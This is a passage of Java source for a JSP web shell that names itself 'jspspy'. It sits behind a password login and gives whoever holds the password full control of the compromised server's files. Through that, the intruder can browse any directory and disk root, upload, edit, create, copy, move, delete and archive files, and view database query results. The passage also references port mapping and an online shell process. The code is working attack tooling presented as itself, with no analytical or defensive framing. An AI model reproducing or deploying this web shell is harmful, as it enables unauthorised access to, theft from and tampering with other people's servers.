  1521.                                                         out
  1522.                                                                         .println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  1523.                                                         for (int i = 1; i <= colCount; i++) {
  1524.                                                                 out.println("<td nowrap>"
  1525.                                                                                 + meta.getColumnName(i) + "<br><span>"
  1526.                                                                                 + meta.getColumnTypeName(i)
  1527.                                                                                 + "</span></td>");
  1528.                                                         }
  1529.                                                         out.println("</tr>");
  1530.                                                         Table tb = new Table();
  1531.                                                         while (rs.next()) {
  1532.                                                                 Row r = new Row();
  1533.                                                                 for (int i = 1; i <= colCount; i++) {
  1534.                                                                         String v = null;
  1535.                                                                         try {
  1536.                                                                                 v = rs.getString(i);
  1537.                                                                         } catch (SQLException ex) {
  1538.                                                                                 v = "<<Error!>>";
  1539.                                                                         }
  1540.                                                                         r.addColumn(new Column(v));
  1541.                                                                 }
  1542.                                                                 tb.addRow(r);
  1543.                                                         }
  1544.                                                         out.println(tb.toString());
  1545.                                                         out.println("</table><br/>");
  1546.                                                         rs.close();
  1547.                                                         ((DBOperator) dbo).closeStmt();
  1548.                                                 } else {
  1549.                                                         out
  1550.                                                                         .println("<b style='margin-left:15px'>affected rows : <i>"
  1551.                                                                                         + obj + "</i></b><br/><br/>");
  1552.                                                 }
  1553.                                         }
  1554.                                 } else {
  1555.                                         ((Invoker) ins.get("dbc")).invoke(request, response,
  1556.                                                         JSession);
  1557.                                 }
  1558.                         } catch (Exception e) {
  1559.  
  1560.                                 throw e;
  1561.                         }
  1562.                 }
  1563.         }
  1564.  
  1565.         private static class VLoginInvoker extends DefaultInvoker {
  1566.                 public boolean doBefore() {
  1567.                         return false;
  1568.                 }
  1569.  
  1570.                 public void invoke(HttpServletRequest request,
  1571.                                 HttpServletResponse response, HttpSession JSession)
  1572.                                 throws Exception {
  1573.                         try {
  1574.                                 PrintWriter out = response.getWriter();
  1575.                                 out
  1576.                                                 .println("<html><head><title>jspspy</title><style type=\"text/css\">"
  1577.                                                                 + "     input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"
  1578.                                                                 + "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"
  1579.                                                                 + "     </style></head><body><form method=\"POST\" action=\""
  1580.                                                                 + SHELL_NAME
  1581.                                                                 + "\">"
  1582.                                                                 + "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"
  1583.                                                                 + "       <p><span style=\"font:11px Verdana;\">Password: </span>"
  1584.                                                                 + "        <input name=\"o\" type=\"hidden\" value=\"login\">"
  1585.                                                                 + "        <input name=\"pw\" type=\"password\" size=\"20\">"
  1586.                                                                 + "        <input type=\"hidden\" name=\"o\" value=\"login\">"
  1587.                                                                 + "        <input type=\"submit\" value=\"Login\"><br/>"
  1588.                                                                 + "<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2010</span>--></p>"
  1589.                                                                 + "    </form><span style='font-weight:bold;color:red;font-size:12px'></span></body></html>");
  1590.                         } catch (Exception e) {
  1591.  
  1592.                                 throw e;
  1593.                         }
  1594.                 }
  1595.         }
  1596.  
  1597.         private static class LoginInvoker extends DefaultInvoker {
  1598.                 public boolean doBefore() {
  1599.                         return false;
  1600.                 }
  1601.  
  1602.                 public void invoke(HttpServletRequest request,
  1603.                                 HttpServletResponse response, HttpSession JSession)
  1604.                                 throws Exception {
  1605.                         try {
  1606.                                 String inputPw = request.getParameter("pw");
  1607.                                 if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  1608.                                         ((Invoker) ins.get("vLogin")).invoke(request, response,
  1609.                                                         JSession);
  1610.                                         return;
  1611.                                 } else {
  1612.                                         JSession.setAttribute(PW_SESSION_ATTRIBUTE, inputPw);
  1613.                                         response.sendRedirect(SHELL_NAME);
  1614.                                         return;
  1615.                                 }
  1616.                         } catch (Exception e) {
  1617.  
  1618.                                 throw e;
  1619.                         }
  1620.                 }
  1621.         }
  1622.  
  1623.         private static class MyComparator implements Comparator {
  1624.                 public int compare(Object obj1, Object obj2) {
  1625.                         try {
  1626.                                 if (obj1 != null && obj2 != null) {
  1627.                                         File f1 = (File) obj1;
  1628.                                         File f2 = (File) obj2;
  1629.                                         if (f1.isDirectory()) {
  1630.                                                 if (f2.isDirectory()) {
  1631.                                                         return f1.getName().compareTo(f2.getName());
  1632.                                                 } else {
  1633.                                                         return -1;
  1634.                                                 }
  1635.                                         } else {
  1636.                                                 if (f2.isDirectory()) {
  1637.                                                         return 1;
  1638.                                                 } else {
  1639.                                                         return f1.getName().toLowerCase().compareTo(
  1640.                                                                         f2.getName().toLowerCase());
  1641.                                                 }
  1642.                                         }
  1643.                                 }
  1644.                                 return 0;
  1645.                         } catch (Exception e) {
  1646.                                 return 0;
  1647.                         }
  1648.                 }
  1649.         }
  1650.  
  1651.         private static class FileListInvoker extends DefaultInvoker {
  1652.                 public void invoke(HttpServletRequest request,
  1653.                                 HttpServletResponse response, HttpSession JSession)
  1654.                                 throws Exception {
  1655.                         try {
  1656.                                 String path2View = null;
  1657.                                 PrintWriter out = response.getWriter();
  1658.                                 String path = request.getParameter("folder");
  1659.                                 String outEntry = request.getParameter("outentry");
  1660.                                 if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
  1661.                                         JSession.removeAttribute(ENTER);
  1662.                                         JSession.removeAttribute(ENTER_MSG);
  1663.                                         JSession.removeAttribute(ENTER_CURRENT_DIR);
  1664.                                 }
  1665.                                 Object enter = JSession.getAttribute(ENTER);
  1666.                                 File file = null;
  1667.                                 if (!Util.isEmpty(enter)) {
  1668.                                         if (Util.isEmpty(path)) {
  1669.                                                 if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
  1670.                                                         path = "/";
  1671.                                                 else
  1672.                                                         path = (String) (JSession
  1673.                                                                         .getAttribute(ENTER_CURRENT_DIR));
  1674.                                         }
  1675.                                         file = new EnterFile(path);
  1676.                                         ((EnterFile) file).setZf((String) enter);
  1677.                                         JSession.setAttribute(ENTER_CURRENT_DIR, path);
  1678.                                 } else {
  1679.                                         if (Util.isEmpty(path))
  1680.                                                 path = JSession.getAttribute(CURRENT_DIR).toString();
  1681.                                         JSession.setAttribute(CURRENT_DIR, Util.convertPath(path));
  1682.                                         file = new File(path);
  1683.                                 }
  1684.                                 path2View = Util.convertPath(path);
  1685.                                 if (!file.exists()) {
  1686.                                         throw new Exception(path + "Dont Exists !");
  1687.                                 }
  1688.                                 File[] list = file.listFiles();
  1689.                                 Arrays.sort(list, new MyComparator());
  1690.                                 out.println("<div style='margin:10px'>");
  1691.                                 String cr = null;
  1692.                                 try {
  1693.                                         cr = JSession.getAttribute(CURRENT_DIR).toString()
  1694.                                                         .substring(0, 3);
  1695.                                 } catch (Exception e) {
  1696.                                         cr = "/";
  1697.                                 }
  1698.                                 File currentRoot = new File(cr);
  1699.                                 out.println("<h2>File Manager - Current disk &quot;"
  1700.                                                 + (cr.indexOf("/") == 0 ? "/" : currentRoot.getPath())
  1701.                                                 + "&quot; total (unknow)</h2>");
  1702.                                 out
  1703.                                                 .println("<form action=\""
  1704.                                                                 + SHELL_NAME
  1705.                                                                 + "\" method=\"post\">"
  1706.                                                                 + "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  1707.                                                                 + "  <tr>"
  1708.                                                                 + "    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"
  1709.                                                                 + "     <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""
  1710.                                                                 + path2View
  1711.                                                                 + "\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"
  1712.                                                                 + "    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"
  1713.                                                                 + "  </tr>" + "</table>" + "</form>");
  1714.                                 out
  1715.                                                 .println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"
  1716.                                                                 + "<form action=\""
  1717.                                                                 + SHELL_NAME
  1718.                                                                 + "?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"
  1719.                                                                 + "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "
  1720.                                                                 + (enter == null ? "type=\"submit\""
  1721.                                                                                 : "type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")
  1722.                                                                 + " /></div>"
  1723.                                                                 + "<a href=\"javascript:new fso({path:'"
  1724.                                                                 + Util.convertPath(WEB_ROOT)
  1725.                                                                 + "'}).subdir('true')\">Web Root</a>"
  1726.                                                                 + " | <a href=\"javascript:new fso({path:'"
  1727.                                                                 + Util.convertPath(SHELL_DIR)
  1728.                                                                 + "'}).subdir('true')\">Shell Directory</a>"
  1729.                                                                 + " | <a href=\"javascript:"
  1730.                                                                 + (enter == null ? "new fso({}).mkdir()"
  1731.                                                                                 : "alert('You Are In File Now ! Can Not Create Directory ! ')")
  1732.                                                                 + "\">New Directory</a> | <a href=\"javascript:"
  1733.                                                                 + (enter == null ? "new fso({}).createFile()"
  1734.                                                                                 : "alert('You Are In File Now ! Can Not Create File !')")
  1735.                                                                 + "\">New File</a>" + " | ");
  1736.                                 File[] roots = file.listRoots();
  1737.                                 for (int i = 0; i < roots.length; i++) {
  1738.                                         File r = roots[i];
  1739.                                         out.println("<a href=\"javascript:new fso({path:'"
  1740.                                                         + Util.convertPath(r.getPath())
  1741.                                                         + "'}).subdir('true');\">Disk("
  1742.                                                         + Util.convertPath(r.getPath()) + ")</a>");
  1743.                                         if (i != roots.length - 1) {
  1744.                                                 out.println("|");
  1745.                                         }
  1746.                                 }
  1747.                                 out.println("</td>" + "</tr></form>"
  1748.                                                 + "<tr class=\"head\"><td>&nbsp;</td>"
  1749.                                                 + "  <td>Name</td>"
  1750.                                                 + "  <td width=\"16%\">Last Modified</td>"
  1751.                                                 + "  <td width=\"10%\">Size</td>"
  1752.                                                 + "  <td width=\"20%\">Read/Write/Execute</td>"
  1753.                                                 + "  <td width=\"22%\">&nbsp;</td>" + "</tr>");
  1754.                                 if (file.getParent() != null) {
  1755.                                         out
  1756.                                                         .println("<tr class=alt1>"
  1757.                                                                         + "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"
  1758.                                                                         + "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"
  1759.                                                                         + Util.convertPath(file.getAbsolutePath())
  1760.                                                                         + "'}).parent()\">Goto Parent</a></td>"
  1761.                                                                         + "</tr>");
  1762.                                 }
  1763.                                 int dircount = 0;
  1764.                                 int filecount = 0;
  1765.                                 for (int i = 0; i < list.length; i++) {
  1766.                                         File f = list[i];
  1767.                                         if (f.isDirectory()) {
  1768.                                                 dircount++;
  1769.                                                 out
  1770.                                                                 .println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"
  1771.                                                                                 + "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"
  1772.                                                                                 + "<td><a href=\"javascript:new fso({path:'"
  1773.                                                                                 + Util.convertPath(f.getAbsolutePath())
  1774.                                                                                 + "'}).subdir()\">"
  1775.                                                                                 + f.getName()
  1776.                                                                                 + "</a></td>"
  1777.                                                                                 + "<td nowrap>"
  1778.                                                                                 + Util.formatDate(f.lastModified())
  1779.                                                                                 + "</td>"
  1780.                                                                                 + "<td nowrap>--</td>"
  1781.                                                                                 + "<td nowrap>"
  1782.                                                                                 + f.canRead()
  1783.                                                                                 + " / "
  1784.                                                                                 + f.canWrite()
  1785.                                                                                 + " / unknow</td>"
  1786.                                                                                 + "<td nowrap>");
  1787.                                                 if (enter != null)
  1788.                                                         out.println("&nbsp;");
  1789.                                                 else
  1790.                                                         out
  1791.                                                                         .println("<a href=\"javascript:new fso({path:'"
  1792.                                                                                         + Util.convertPath(f
  1793.                                                                                                         .getAbsolutePath())
  1794.                                                                                         + "',filename:'"
  1795.                                                                                         + f.getName()
  1796.                                                                                         + "'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"
  1797.                                                                                         + Util.convertPath(f
  1798.                                                                                                         .getAbsolutePath())
  1799.                                                                                         + "'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"
  1800.                                                                                         + Util.convertPath(f
  1801.                                                                                                         .getAbsolutePath())
  1802.                                                                                         + "',filename:'"
  1803.                                                                                         + f.getName()
  1804.                                                                                         + "'}).pack(true)\">Pack</a>");
  1805.                                                 out.println("</td></tr>");
  1806.                                         } else {
  1807.                                                 filecount++;
  1808.                                                 out
  1809.                                                                 .println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"
  1810.                                                                                 + "<td width=\"2%\" nowrap><input type='checkbox' value='"
  1811.                                                                                 + f.getName()
  1812.                                                                                 + "'/></td>"
  1813.                                                                                 + "<td><a href=\"javascript:new fso({path:'"
  1814.                                                                                 + Util.convertPath(f.getAbsolutePath())
  1815.                                                                                 + "'}).down()\">"
  1816.                                                                                 + f.getName()
  1817.                                                                                 + "</a></td>"
  1818.                                                                                 + "<td nowrap>"
  1819.                                                                                 + Util.formatDate(f.lastModified())
  1820.                                                                                 + "</td>"
  1821.                                                                                 + "<td nowrap>"
  1822.                                                                                 + Util.getSize(f.length(), 'B')
  1823.                                                                                 + "</td>"
  1824.                                                                                 + "<td nowrap>"
  1825.                                                                                 + ""
  1826.                                                                                 + f.canRead()
  1827.                                                                                 + " / "
  1828.                                                                                 + f.canWrite()
  1829.                                                                                 + " / unknow </td>"
  1830.                                                                                 + "<td nowrap>"
  1831.                                                                                 + "<a href=\"javascript:new fso({path:'"
  1832.                                                                                 + Util.convertPath(f.getAbsolutePath())
  1833.                                                                                 + "'}).vEdit()\">Edit</a> | "
  1834.                                                                                 + "<a href=\"javascript:new fso({path:'"
  1835.                                                                                 + Util.convertPath(f.getAbsolutePath())
  1836.                                                                                 + "'}).down()\">Down</a> | "
  1837.                                                                                 + "<a href=\"javascript:new fso({path:'"
  1838.                                                                                 + Util.convertPath(f.getAbsolutePath())
  1839.                                                                                 + "'}).copy()\">Copy</a>");
  1840.                                                 if (enter == null) {
  1841.                                                         out
  1842.                                                                         .println(" | <a href=\"javascript:new fso({path:'"
  1843.                                                                                         + Util.convertPath(f
  1844.                                                                                                         .getAbsolutePath())
  1845.                                                                                         + "'}).move()\">Move</a> | "
  1846.                                                                                         + "<a href=\"javascript:new fso({path:'"
  1847.                                                                                         + Util.convertPath(f
  1848.                                                                                                         .getAbsolutePath())
  1849.                                                                                         + "'}).vEditProperty()\">Property</a> | "
  1850.                                                                                         + "<a href=\"javascript:new fso({path:'"
  1851.                                                                                         + Util.convertPath(f
  1852.                                                                                                         .getAbsolutePath())
  1853.                                                                                         + "'}).enter()\">Enter</a>");
  1854.                                                         if (f.getName().endsWith(".zip")
  1855.                                                                         || f.getName().endsWith(".jar")) {
  1856.                                                                 out
  1857.                                                                                 .println(" | <a href=\"javascript:new fso({path:'"
  1858.                                                                                                 + Util.convertPath(f
  1859.                                                                                                                 .getAbsolutePath())
  1860.                                                                                                 + "',filename:'"
  1861.                                                                                                 + f.getName()
  1862.                                                                                                 + "'}).unpack()\">UnPack</a>");
  1863.                                                         } else if (f.getName().endsWith(".rar")) {
  1864.                                                                 out
  1865.                                                                                 .println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1866.                                                         } else {
  1867.                                                                 out
  1868.                                                                                 .println(" | <a href=\"javascript:new fso({path:'"
  1869.                                                                                                 + Util.convertPath(f
  1870.                                                                                                                 .getAbsolutePath())
  1871.                                                                                                 + "',filename:'"
  1872.                                                                                                 + f.getName()
  1873.                                                                                                 + "'}).pack()\">Pack</a>");
  1874.                                                         }
  1875.                                                 }
  1876.                                                 out.println("</td></tr>");
  1877.                                         }
  1878.                                 }
  1879.                                 out
  1880.                                                 .println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"
  1881.                                                                 + "  <td>");
  1882.                                 if (enter != null)
  1883.                                         out
  1884.                                                         .println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
  1885.                                 else
  1886.                                         out
  1887.                                                         .println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
  1888.                                 out.println("</td>" + "  <td colspan=\"4\" align=\"right\">"
  1889.                                                 + dircount + " directories / " + filecount
  1890.                                                 + " files</td></tr>" + "</table>");
  1891.                                 out.println("</div>");
  1892.                                 if (file instanceof EnterFile)
  1893.                                         ((EnterFile) file).close();
  1894.                         } catch (ZipException e) {
  1895.                                 JSession.setAttribute(MSG, "\""
  1896.                                                 + JSession.getAttribute(ENTER).toString()
  1897.                                                 + "\" Is Not a Zip File. Please Exit.");
  1898.                                 throw e;
  1899.                         } catch (Exception e) {
  1900.                                 JSession.setAttribute(MSG,
  1901.                                                 "File Does Not Exist Or You Dont Have Privilege."
  1902.                                                                 + BACK_HREF);
  1903.                                 throw e;
  1904.                         }
  1905.                 }
  1906.         }
  1907.  
  1908.         private static class LogoutInvoker extends DefaultInvoker {
  1909.                 public boolean doBefore() {
  1910.                         return false;
  1911.                 }
  1912.  
  1913.                 public boolean doAfter() {
  1914.                         return false;
  1915.                 }
  1916.  
  1917.                 public void invoke(HttpServletRequest request,
  1918.                                 HttpServletResponse response, HttpSession JSession)
  1919.                                 throws Exception {
  1920.                         try {
  1921.                                 Object dbo = JSession.getAttribute(DBO);
  1922.                                 if (dbo != null)
  1923.                                         ((DBOperator) dbo).close();
  1924.                                 Object obj = JSession.getAttribute(PORT_MAP);
  1925.                                 if (obj != null) {
  1926.                                         ServerSocket s = (ServerSocket) obj;
  1927.                                         s.close();
  1928.                                 }
  1929.                                 Object online = JSession.getAttribute(SHELL_ONLINE);
  1930.                                 if (online != null)
  1931.                                         ((OnLineProcess) online).stop();
  1932.                                 JSession.invalidate();
  1933.                                 ((Invoker) ins.get("vLogin")).invoke(request, response,
  1934.                                                 JSession);
  1935.                         } catch (ClassCastException e) {
  1936.                                 JSession.invalidate();
  1937.                                 ((Invoker) ins.get("vLogin")).invoke(request, response,
  1938.                                                 JSession);
  1939.                         } catch (Exception e) {
  1940.  
  1941.                                 throw e;
  1942.                         }
  1943.                 }
  1944.         }
  1945.  
  1946.         private static class UploadInvoker extends DefaultInvoker {
  1947.                 public boolean doBefore() {
  1948.                         return false;
  1949.                 }
  1950.  
  1951.                 public boolean doAfter() {
  1952.                         return false;
  1953.                 }
  1954.  
  1955.                 public void invoke(HttpServletRequest request,
  1956.                                 HttpServletResponse response, HttpSession JSession)
  1957.                                 throws Exception {
  1958.                         try {
  1959.                                 UploadBean fileBean = new UploadBean();
  1960.                                 response.getWriter().println(
  1961.                                                 JSession.getAttribute(CURRENT_DIR).toString());
  1962.                                 fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR)
  1963.                                                 .toString());
  1964.                                 fileBean.parseRequest(request);
  1965.                                 File f = new File(JSession.getAttribute(CURRENT_DIR) + "/"
  1966.                                                 + fileBean.getFileName());
  1967.                                 if (f.exists() && f.length() > 0)
  1968.                                         JSession
  1969.                                                         .setAttribute(MSG,
  1970.                                                                         "<span style='color:green'>Upload File Success!</span>");
  1971.                                 else
  1972.                                         JSession
  1973.                                                         .setAttribute("MSG",
  1974.                                                                         "<span style='color:red'>Upload File Failed!</span>");
  1975.                                 response.sendRedirect(SHELL_NAME);
  1976.                         } catch (Exception e) {
  1977.                                 throw e;
  1978.                         }
  1979.                 }
  1980.         }
  1981.  
  1982.         private static class CopyInvoker extends DefaultInvoker {
  1983.                 public void invoke(HttpServletRequest request,
  1984.                                 HttpServletResponse response, HttpSession JSession)
  1985.                                 throws Exception {
  1986.                         try {
  1987.                                 String src = request.getParameter("src");
  1988.                                 String to = request.getParameter("to");
  1989.                                 InputStream in = null;
  1990.                                 Object enter = JSession.getAttribute(ENTER);
  1991.                                 if (enter == null)
  1992.                                         in = new FileInputStream(new File(src));
  1993.                                 else {
  1994.                                         ZipFile zf = new ZipFile((String) enter);
  1995.                                         ZipEntry entry = zf.getEntry(src);
  1996.                                         in = zf.getInputStream(entry);
  1997.                                 }
  1998.                                 BufferedInputStream input = new BufferedInputStream(in);
  1999.                                 BufferedOutputStream output = new BufferedOutputStream(
  2000.                                                 new FileOutputStream(new File(to)));
  2001.                                 byte[] d = new byte[1024];
  2002.                                 int len = input.read(d);
  2003.                                 while (len != -1) {
  2004.                                         output.write(d, 0, len);
  2005.                                         len = input.read(d);
  2006.                                 }
  2007.                                 output.close();
  2008.                                 input.close();
  2009.                                 JSession.setAttribute(MSG, "Copy File Success!");
  2010.                                 response.sendRedirect(SHELL_NAME);
  2011.                         } catch (Exception e) {
  2012.  
  2013.                                 throw e;
  2014.                         }
  2015.                 }
  2016.         }
  2017.  
  2018.         private static class BottomInvoker extends DefaultInvoker {
  2019.                 public boolean doBefore() {
  2020.                         return false;
  2021.                 }
  2022.  
  2023.                 public boolean doAfter() {
  2024.                         return false;
  2025.                 }
  2026.  
  2027.                 public void invoke(HttpServletRequest request,
  2028.                                 HttpServletResponse response, HttpSession JSession)
  2029.                                 throws Exception {
  2030.                         try {
  2031.                                 response
  2032.                                                 .getWriter()
  2033.                                                 .println(
  2034.                                                                 "<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Don't break my heart~"
  2035.                                                                                 + "</div>");
  2036.                         } catch (Exception e) {
  2037.  
  2038.                                 throw e;
  2039.                         }
  2040.                 }
  2041.         }
  2042.  
  2043.         private static class VCreateFileInvoker extends DefaultInvoker {
  2044.                 public void invoke(HttpServletRequest request,
  2045.                                 HttpServletResponse response, HttpSession JSession)
  2046.                                 throws Exception {
  2047.                         try {
  2048.                                 PrintWriter out = response.getWriter();
  2049.                                 String path = request.getParameter("filepath");
  2050.                                 File f = new File(path);
  2051.                                 if (!f.isAbsolute()) {
  2052.                                         String oldPath = path;
  2053.                                         path = JSession.getAttribute(CURRENT_DIR).toString();
  2054.                                         if (!path.endsWith("/"))
  2055.                                                 path += "/";
  2056.                                         path += oldPath;
  2057.                                         f = new File(path);
  2058.                                         f.createNewFile();
  2059.                                 } else {
  2060.                                         f.createNewFile();
  2061.                                 }
  2062.                                 out
  2063.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2064.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2065.                                                                 + SHELL_NAME
  2066.                                                                 + "\" method=\"post\" >"
  2067.                                                                 + "<h2>Create / Edit File &raquo;</h2>"
  2068.                                                                 + "<input type='hidden' name='o' value='createFile'>"
  2069.                                                                 + "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""
  2070.                                                                 + path
  2071.                                                                 + "\" type=\"text\" size=\"100\"  />"
  2072.                                                                 + " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"
  2073.                                                                 + "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"
  2074.                                                                 + "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"
  2075.                                                                 + "</form>" + "</td></tr></table>");
  2076.                         } catch (Exception e) {
  2077.  
  2078.                                 throw e;
  2079.                         }
  2080.                 }
  2081.         }
  2082.  
  2083.         private static class VEditInvoker extends DefaultInvoker {
  2084.                 public void invoke(HttpServletRequest request,
  2085.                                 HttpServletResponse response, HttpSession JSession)
  2086.                                 throws Exception {
  2087.                         try {
  2088.                                 PrintWriter out = response.getWriter();
  2089.                                 String path = request.getParameter("filepath");
  2090.                                 String charset = request.getParameter("charset");
  2091.                                 Object enter = JSession.getAttribute(ENTER);
  2092.                                 InputStream input = null;
  2093.                                 if (enter != null) {
  2094.                                         ZipFile zf = new ZipFile((String) enter);
  2095.                                         ZipEntry entry = new ZipEntry(path);
  2096.                                         input = zf.getInputStream(entry);
  2097.                                 } else {
  2098.                                         File f = new File(path);
  2099.                                         if (!f.exists())
  2100.                                                 return;
  2101.                                         input = new FileInputStream(path);
  2102.                                 }
  2103.  
  2104.                                 BufferedReader reader = null;
  2105.                                 if (Util.isEmpty(charset) || charset.equals("ANSI"))
  2106.                                         reader = new BufferedReader(new InputStreamReader(input));
  2107.                                 else
  2108.                                         reader = new BufferedReader(new InputStreamReader(input,
  2109.                                                         charset));
  2110.                                 StringBuffer content = new StringBuffer();
  2111.                                 String s = reader.readLine();
  2112.                                 while (s != null) {
  2113.                                         content.append(s + "\r\n");
  2114.                                         s = reader.readLine();
  2115.                                 }
  2116.                                 reader.close();
  2117.                                 out
  2118.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2119.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2120.                                                                 + SHELL_NAME
  2121.                                                                 + "\" method=\"post\" >"
  2122.                                                                 + "<h2>Create / Edit File &raquo;</h2>"
  2123.                                                                 + "<input type='hidden' name='o' value='createFile'>"
  2124.                                                                 + "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""
  2125.                                                                 + path
  2126.                                                                 + "\" type=\"text\" size=\"100\"  />"
  2127.                                                                 + " <select name='charset' id='fcharset' onchange=\"new fso({path:'"
  2128.                                                                 + path
  2129.                                                                 + "',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "
  2130.                                                                 + ((!Util.isEmpty(charset) && charset
  2131.                                                                                 .equals("UTF-8")) ? "selected" : "")
  2132.                                                                 + " value='UTF-8'>UTF-8</option></select></p>"
  2133.                                                                 + "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"
  2134.                                                                 + Util.htmlEncode(content.toString())
  2135.                                                                 + "</textarea></p>" + "<p>");
  2136.                                 if (enter != null)
  2137.                                         out
  2138.                                                         .println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
  2139.                                 else
  2140.                                         out
  2141.                                                         .println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
  2142.                                 out
  2143.                                                 .println("<input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"
  2144.                                                                 + "</form>" + "</td></tr></table>");
  2145.  
  2146.                         } catch (Exception e) {
  2147.  
  2148.                                 throw e;
  2149.                         }
  2150.                 }
  2151.         }
  2152.  
  2153.         private static class CreateFileInvoker extends DefaultInvoker {
  2154.                 public boolean doBefore() {
  2155.                         return false;
  2156.                 }
  2157.  
  2158.                 public boolean doAfter() {
  2159.                         return false;
  2160.                 }
  2161.  
  2162.                 public void invoke(HttpServletRequest request,
  2163.                                 HttpServletResponse response, HttpSession JSession)
  2164.                                 throws Exception {
  2165.                         try {
  2166.                                 PrintWriter out = response.getWriter();
  2167.                                 String path = request.getParameter("filepath");
  2168.                                 String content = request.getParameter("filecontent");
  2169.                                 String charset = request.getParameter("charset");
  2170.                                 BufferedWriter outs = null;
  2171.                                 if (charset.equals("ANSI"))
  2172.                                         outs = new BufferedWriter(new FileWriter(new File(path)));
  2173.                                 else
  2174.                                         outs = new BufferedWriter(new OutputStreamWriter(
  2175.                                                         new FileOutputStream(new File(path)), charset));
  2176.                                 outs.write(content, 0, content.length());
  2177.                                 outs.close();
  2178.                                 JSession
  2179.                                                 .setAttribute(
  2180.                                                                 MSG,
  2181.                                                                 "Save File <span style='color:green'>"
  2182.                                                                                 + (new File(path)).getName()
  2183.                                                                                 + "</span> With <span style='font-weight:bold;color:red'>"
  2184.                                                                                 + charset + "</span> Success!");
  2185.                                 response.sendRedirect(SHELL_NAME);
  2186.                         } catch (Exception e) {
  2187.  
  2188.                                 throw e;
  2189.                         }
  2190.                 }
  2191.         }
  2192.  
  2193.         private static class VEditPropertyInvoker extends DefaultInvoker {
  2194.                 public void invoke(HttpServletRequest request,
  2195.                                 HttpServletResponse response, HttpSession JSession)
  2196.                                 throws Exception {
  2197.                         try {
  2198.                                 PrintWriter out = response.getWriter();
  2199.                                 String filepath = request.getParameter("filepath");
  2200.                                 File f = new File(filepath);
  2201.                                 if (!f.exists())
  2202.                                         return;
  2203.                                 String read = f.canRead() ? "checked=\"checked\"" : "";
  2204.                                 String write = f.canWrite() ? "checked=\"checked\"" : "";
  2205.                                 Calendar cal = Calendar.getInstance();
  2206.                                 cal.setTimeInMillis(f.lastModified());
  2207.  
  2208.                                 out
  2209.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2210.                                                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2211.                                                                 + SHELL_NAME
  2212.                                                                 + "\" method=\"post\" >"
  2213.                                                                 + "<h2>Set File Property &raquo;</h2>"
  2214.                                                                 + "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""
  2215.                                                                 + request.getParameter("filepath")
  2216.                                                                 + "\" type=\"text\" size=\"120\"  /></p>"
  2217.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "
  2218.                                                                 + "<p>"
  2219.                                                                 + "  <input type=\"checkbox\" disabled "
